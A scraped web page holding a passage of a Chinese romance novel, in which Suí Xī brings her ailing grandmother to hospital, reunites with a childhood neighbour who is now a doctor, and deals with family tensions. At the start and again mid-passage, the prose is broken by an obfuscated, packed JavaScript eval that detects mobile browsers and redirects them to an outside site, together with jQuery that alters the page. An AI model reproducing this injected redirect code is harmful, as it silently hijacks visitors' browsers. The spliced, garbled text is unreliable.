0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17025853|194395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议先做一个冠脉CTA，但CTA的准确率不是百分百的。如果是程度比较严重，后续还要做造影，看一下是主血管还是支血管以及堵塞程度，再安排具体的治疗方案。” 医生讲了大致方案，随晞前几天也多少看了些资料，她接过报告，“好，谢谢医生，那就按您说的来吧。” 如果不是，至少也能让她放心一些。 “不用谢。” “小晞，好久不见。” 随晞一时半会还没有消化刚刚那些名词，脑子很乱，所以医生叫出她的名字时，她还是呆怔的。 她侧身看去，男人已经摘下口罩，露出一张既熟悉又陌生的脸，不少回忆在脑海中放映。随晞愣了愣，眼眸的暗淡也被丝惊喜所掩去，“明序哥，是你啊。好久不见啊。” 萧明序是她的邻居，比她大三届。他们从小时候就一起玩，所以关系不错，只不过后来萧明序考去外地的重点高中后，两人就失去了联系。 没想到再见，是在医院。 “是啊，你和小时候一样，五官倒没怎么变化。所以刚刚你带着外婆来，我就认出来了。” 随晞笑了笑，“你戴着口罩，我就没有认出来，抱歉。” “这有什么好抱歉的。你怎么样，现在也在江榆工作吗？” “不是，我搬到了北塔，在那边生活。” 萧明序点点头，“小晞，外婆的事情不要太过担心，检查结果还不清楚......” “明序哥，你不用安慰我了，我这段时间查了很多资料，大概什么情况你刚刚也都说了，我已经做好了所有的心理准备，没事的。”随晞语气低了下来，笑容也变得勉强。 “好，小晞，我们要不要加个联系方式？”似乎怕自己太过冒昧，萧明序又补充了句，“有什么问题可以及时联系我。” “好，谢谢明序哥。” 萧明序后边还有病人，开了单子后，随晞没有再与他多聊，接过名片后就同他告别。 检查很快，松慧颖从CT室出来的时候还扎着留置针，随晞扶着她在空位上坐下，眼底满是关切，“外婆，有没有觉得不舒服的？” “没有，就是扎了个针。”松慧颖扬起抹笑，示意她不要担心。 结果要第二天才能出，三人回到家后，程芳岚先一步上楼烧晚饭，随晞陪着松慧颖在楼下屋休息。 “心心啊，你妈和你都不说，我自己还不清楚自己的身体吗？我这个岁数其实也活够了，有什么小病咱治治，但大病我们就不浪费那些钱了啊。” “外婆，您不要这么说。”随晞鼻头一酸，她很快抱住了松慧颖，“结果都还没有出来呢，不会那么严重的。” 她鼻音很重，脸颊也渐渐被染了湿，松慧颖轻叹了口气，那双手慢慢地拍着她的背部。 像小时候她做了噩梦跑进她屋子，读书时她考了好成绩回家，毕业后她说要去北塔生活，松慧颖永远是笑着，然后这样安静地拍着她的背。 只不过，眼前的黑发，不知道什么时候染了白。 ... 去医院一趟，耗费了不少精力。松慧颖很快就疲了，两人聊了没过多久，她便躺在床上安静睡去。随晞看了她一会儿，又关上门朝楼上走去。 家里没人，程芳岚过来开了门后又到厨房去准备晚饭。随晞从柜子拿出鞋套，跟着走进厨房，她看着程芳岚仍神色如常地切菜，眼眸不由得暗了暗。 “妈。” “你就不担心吗？” 13. 桂花红豆 13 / 搬去北塔之后，随晞和程芳岚的关系越来越糟。 时隔多年，她终于又开口喊出这个字，喉间多了份生涩，她也不自然地转头，将视线落在窗外。 “如果下午的检查结果比较差，外婆可能还得做个手术检查。但手术的成功率并不是百分百的。” 程芳岚终于停下了切菜的动作，语气没了往常的嚣张跋扈，倒显得有些疲惫，“她今年已经七十多了，一定要做手术吗？” “小型的手术，就是更深度地检查，确定外婆的血管情况之后才好做合适的治疗方案，只不过医生说依旧是有风险的。” 程芳岚点点头没再多说，随晞也出了厨房，现在她和程芳岚之间，除了外婆和钱的事，好像也没有什么能聊的。 江榆这几天天气是阴沉沉的，随晞坐在纱窗边望着窗外发着呆。 茶几上的手机发出轻微振动声，思绪拉回，她将手机翻面，点开是楼峙的消息。 楼峙：「不用谢。」 楼峙：「晚上打算用你的土豆做份干锅土豆，随大厨批准吗？」 看了眼时间，已经到了楼峙的下班点。第一条消息应该是他午休的时候发来的，她因为忙，所以到现在才看到。 看着这行字，不由得能脑补出来男人说话的神情和音色。随晞嘴角不自觉扬起，郁闷的心情也不知为何微微散了些，她打下几个字，点击发送。 猫打呼噜：「不可以。」 三秒后。 猫打呼噜：「的话怎么办？」 几秒，手心传来振动。 楼峙：「这样啊。」 楼峙：「那只能等你回来再烧了。」 窗外桂花香飘进屋内，她露出今日的第一个笑容。 是因为楼峙。 随晞看了看日历，漫画还有两章才能完结，她只画了一部分精草，加上手里的商稿，她也不能长期呆在江榆。只不过眼下最主要的还是看松慧颖的病情如何，她心里没什么底。 猫打呼噜：「开玩笑的，你还是多帮我吃一些吧。」 那边的人又紧接着发来消息。 楼峙：「事情解决得怎么样了。」 楼峙：「需要帮忙吗？」 随晞顿了顿，删删减减，只发去了不用。 她和楼峙关系再好，也只是合租室友的关系，倒也不能真的什么事情都要麻烦别人。 更何况，这是家事。 “随晞，带你外婆上来吃吧，快烧好了。” “好。” 应了程芳岚的话，随晞收好手机下楼，在楼梯间内，倒正好遇到刚放学回来的戴俊州。 “你又回来了？” “嗯。上楼吃饭去吧。” 不熟不生的关系，随晞也没有显得很热络，侧身先下了楼。 等她再把松慧颖带到家时，门是半开着的，她扶着松慧颖在玄关处坐着换鞋，鞋柜很高，将俩人挡了大半，所以程芳岚和戴俊州并没有发现她们已经上楼进了屋子。 “妈，你们今天又去医院了？”戴俊州看着被放到茶几边的那个行李箱，“随晞姐是要住我们家吗？” “会住上几天吧。” “为什么啊，我们家又没有空房间，她要住哪里？”戴俊州显然有点不开心，说话也有些急。 “你讲那么大声做什么，你和你爸挤一挤，你那房间就让她住几天。” “我不要！爸每天喝得烂醉！” “不要也得要，她也算是你半个亲姐，你以为没了她，你日子还能过得这么舒服啊。” 随晞换鞋的动作一顿，只觉得眼睛掺了雾气。 松慧颖咳嗽了几声，饭桌上的两人就这样止住了话。 随晞轻呼一口气起身，神色如常地扶着松慧颖先坐到位置上，桌上摆着三个碗，少了她的那个。 “来了，不知道你吃多少饭，就没帮你盛。”程芳岚许是被听到话也有些尴尬，倒是先朝随晞解释道。 “嗯。” 饭桌上只剩下了几人的咀嚼声，还有碗筷的碰撞声。饭吃到一半，松慧颖没抬头，话却是说给对面两人听的。 “这几天心心都和我睡，省的你们挤，还睡不好。” 程芳岚低咳一声，很快道：“哎呀，俊州就是随口说说的，他还小，有什么话都不过脑子，哪能信啊。” “小？再过一年就成年了，又不是刚会说话的孩子。”松慧颖摇了摇头，将手搭在随晞的膝盖上，“再说了，我想和我孙女睡一屋，怎么了？” 随晞微微握紧筷子，看向她身边的人，鼻头酸了酸。 这一刻，她再一次清楚地认识到。 天地再大，可她的亲人只有外婆，也只剩下外婆了。 / 当晚，趁着松慧颖睡着后，随晞按照下午萧明序给她的名片发去了好友申请。网上的资料再多，她还是想找个对松慧颖病情了解的人聊一聊。 明序哥：「随晞，这么迟还没有睡？」 猫打呼噜：「嗯，打扰了明序哥，不知道你现在有没有时间，我想问问关于外婆病情的问题。」 萧明序很快同意，两人闲聊了几句后，随晞也简短地告知对方自己眼下的疑惑和犹豫。打字太过繁琐，萧明序发来几份关于冠心病的治疗方案后，便给随晞打来了电话。 好在手机设置了静音，随晞看了眼熟睡的松慧颖，小声地从床上下来，走到了小阳台。 萧明序作为医生，只能通过病情给建议，眼下最主要的报告还没出，他不好定夺，只是简单地讲了一些最坏的结果以及治疗方案。 夜风吹来带着些凉意，随晞听着听着，心也渐渐凉下去，她忍不住地打了个喷嚏，电话那头顿了顿而后接着说道：“随晞，外婆的报告还没有出，你先不要太过担心。” “好，我知道了，谢谢你明序哥。” “不早了，先去休息吧，有任何疑问都可以来找我。” “嗯好。” 随晞回到被窝里，又看了看萧明序发来的几个文件。心里多少有了定夺，她揉了揉眉心，关掉文档，许愿明天会有一个好消息。 ... 次日，随晞是被厨房飘来的桂花红豆粥香醒。 大概是累了，所以一夜无梦。连松慧颖是什么时候起床的都没有察觉到，随晞很快理好床铺，换了身衣服到厨房帮忙。 早晨的阳光暖暖地洒进屋内，随晞盛好两碗桂花红豆粥，又将水煮蛋拿了出来，放进冷水里。 温粥入口，是绵密浓稠的红豆，和小时候的味道一样。松慧颖做的桂花红豆粥与外面卖的不同，松慧颖在煮的时候会放一些切碎的红枣，说是能补气血。 她小喝到大都是这一个味道，到现在还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027785|194395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变，随晞很快酸了鼻，一口接着一口地吃。 “好喝吗，外婆的手艺有没有退步啊。” “当然没有，很好喝很好喝。” 随晞扬起灿烂的笑，琥珀瞳却闪过一丝淡淡的难过。 可惜一年之中，桂花的花期并不算长，再过些时间，桂花就要落了。 收拾完碗筷后，她便带着松慧颖走到小区里散步晒太阳，这个点小区里的老人多，玩起来也有伴。 “心心啊，你要有事情就自己去忙啊，我在这看看她们下棋跳舞的，没关系。”松慧颖注意到随晞时不时看向手机，摆了摆手道。 随晞看了看周围的老人，都是比较熟的面孔，这才放心地走到一边，点开消息。 少少：「随啊，我这次出差还得有段时间才回来，明天先给你寄南桉最好吃的糕点呀！」 猫打呼噜：「谢谢少少。」 猫打呼噜：「最近是不是很忙？」 少少：「谢什么呀，知道你不喜欢出门，还是让快递送到家门口哦。」 少少：「忙死了！！！！」 送上门。 随晞这才想到另个头疼的问题，自己还没有和于杪说搬家的事情。她叹了口气，先将新地址发了过去。 猫打呼噜：「北塔市辛夷路柏悦华府9栋2单元2801」 猫打呼噜：「少少，你寄到这里吧。」 和她想的没错。 很快，于杪便对她进行了消息轰炸。 少少：「？？？？」 少少：「这个地址谁的啊？」 少少：「什么情况？」 少少：「你现在在哪呢？」 猫打呼噜：「少少，抱歉。之前一直没有找到机会和你说声，段逍那边的房子没有续租了，我找了新的房子。」 猫打呼噜：「小猫道歉jpg.」 猫打呼噜：「我现在江榆。外婆生病了，回来带她做个检查。」 随晞找了个人少的地方，准备给于杪打去电话解释，但显然，对方被吓了一跳，先一步打来了电话。 “随晞，怎么回事啊？” “你到底有没有把我当成朋友啊，最近发生了这么多事情，怎么一件都不和我提。” 听到那头的人微微传来怒气，随晞也温声安慰表歉意，“少少，我是怕你自己很忙，还要担心我这边的事情。就想着全解决了我再和你讲。” “租房的事情等你回来再说。外婆又是怎么回事？什么病？严重吗？” 随晞紧咬着下唇，听着于杪在那头的关心，安静片刻后，出声有些涩意，“现在还不清楚，但应该是心脏类的问题。” 对话筒有一瞬的沉默，随晞望向不远处的外婆，轻轻叹了口气。 “等我出差完，和你一起去看看外婆。” 于杪的情绪也复杂，她没再来得及多说，又被那边的工作叫去，声音很急，随晞也听见了。 “随随，有什么事情一定记得和我说一声。” “我忙完就会看消息的。” “嗯好。”随晞扬起笑，轻柔道，“快先去工作吧。” 挂了电话，随晞朝松慧颖那边走去。 外婆还坐在刚刚那个位置，而此刻却面色苍白捂着胸口，没了出门的血色。随晞心一坠，出口的声音也不由得颤抖。 “外婆，你怎么了？”